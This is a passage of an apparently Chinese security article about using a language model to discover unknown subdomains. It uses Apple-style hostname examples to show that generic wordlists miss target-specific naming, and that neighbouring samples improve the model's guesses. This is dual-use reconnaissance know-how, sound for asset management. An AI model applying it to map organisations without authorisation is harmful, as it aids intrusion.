rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n478" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 81.171875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">100—105</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n479" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 262.71875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">后续计划与发布</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n480" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 374.125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">研究做到哪了，离生产可用还有多远</span></span></span></td></tr></tbody></table></figure><p cid="n481" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这里有个容易搞混的概念：</span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf="" data-nest-level="6">check 和 discover</span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。</span></span></p><p cid="n482" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">打个比方：你手里已经有 5,000 个子域名，然后去探测哪些能解析、哪些开了 HTTP——这是 check。</span></span></p><p cid="n483" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">还有 2,000 个资产从来没进过清单，证书透明度、搜索引擎和通用字典都没收录——这才是 discover。</span></span></p><p cid="n484" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/vfx50k.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="已知资产检查与未知资产发现的区别" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000410" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e0c29832&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMDYwx7gHsNibzyXuGcEAuvdEib0TrjumHaexpFhbibpSn3tzLkjDYz8PFBPNQzVE3BOV77jIicHPvGWQ2JgxKkQhXt8WgiapCVJE0HQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n485" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">传统工具干前一件事很强；未知资产发现则受限于被动数据源、预设词表和变异规则的覆盖上限。</span></span></p><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n487" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">字典不是太小，而是听不懂目标的方言</span></span></h2><p cid="n488" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">通用字典的基本假设是：大家会反复用一批相似的词。</span></span></p><p cid="n489" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">子域名常见 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">dev</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">test</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">stage</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">api</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">mail</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">；路径常见 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">admin</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">login</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">user</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">upload</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">swagger</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。词表够大、排列组合够全，总能撞中一部分。</span></span></p><p cid="n490" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">问题是，企业内部命名从来不只由英语单词组成。它还混着：团队缩写、历史项目代号、机房与城市代码、云区域和集群编号、开发者个人习惯、旧框架留下的大小写下划线和后缀、只有内部才知道的业务简称。</span></span></p><p cid="n491" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">报告第 18 页用 Apple 风格的名字举例：</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">iosdiags-dr-old.apple.com</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">iosdiags</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 还能看懂，后面的 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">dr-old</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">mdn</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">nwk</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">——如果不结合目标自己的邻居样本，通用字典没理由把这些片段拼到一起。</span></span></p><p cid="n492" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/nazlj1.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="目标专属命名习惯" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000414" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=064530b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMDfVNibQwjqgks6vP18HuDCnfhmMy6muia4rg1Q7ic3CVW5ht0FQnj9zA3RRibbyBLsLFVKYcqvv0DicWBoSGux3UjZpOe3BawCtAgQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><h3 cid="n493" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">模型第一次也会猜错</span></span></h3><p cid="n494" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">报告先把 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">iosdiags-mdn.apple.com</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 单独丢给模型。</span></span></p><p cid="n495" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">没有上下文时，模型把 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">mdn</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 猜成 Mobile Device Network 或 Mobile Diagnostics Network，把 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">nwk</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 猜成 Network。听起来都挺专业，也可能都是一本正经地胡说。</span></span></p><p cid="n496" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">然后作者补入了相邻样本：</span></span></p><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;"><p cid="n499" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="5"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="6"><span leaf="" data-nest-level="7">iosdiags-reno.apple.com</span></code></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n501" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="5"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="6"><span leaf="" data-nest-level="7">iosdiags-mdn.apple.com</span></code></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n503" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;" data-nest-level="4"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="5"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="6"><span leaf="" data-nest-level="7">iosdiags-nwk.apple.com</span></code></span></p></li></ul><p cid="n504" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">模型的解释方向就变了：</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">reno</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 可能是 Reno，</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">mdn</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 可能指 Maiden，</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 